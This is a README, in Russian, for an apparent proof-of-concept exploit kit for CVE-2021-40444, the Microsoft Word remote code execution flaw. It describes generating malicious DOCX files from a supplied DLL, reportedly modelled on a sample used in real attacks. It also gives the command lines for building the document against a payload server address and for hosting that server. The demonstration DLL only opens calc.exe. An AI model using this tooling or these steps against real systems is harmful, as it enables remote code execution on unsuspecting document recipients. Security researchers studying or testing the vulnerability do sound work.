w1kyri3/exploit-poc-cve-2021-40444-inject-ma-doc-vao-docxГенерирует вредоносные DOCX-документы, эксплуатирующие CVE-2021-40444 (удаленное выполнение кода в Microsoft Office Word) со встроенным HTTP-сервером для размещения полезной нагрузки.
Генератор вредоносных docx для эксплуатации CVE-2021-40444 (удаленное выполнение кода в Microsoft Office Word)
Создание этого скрипта основано на обратной разработке семпла, использовавшегося в реальных атаках: 938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52 (файл docx)
Сначала необходимо установить lcab (sudo apt-get install lcab)
Ознакомьтесь с REPRODUCE.md для ручного воспроизведения шагов
Если сгенерированный cab не работает, попробуйте указать URL exploit.html на calc.cab
Сначала сгенерируйте вредоносный docx-документ, указав DLL. Можно использовать файл из test/calc.dll, который просто запускает calc.exe через вызов system()
python3 exploit.py generate test/calc.dll http://<SRV IP>
После генерации вредоносного docx (будет в out/) можно настроить сервер:
sudo python3 exploit.py host 80
Наконец, откройте docx на виртуальной машине Windows:
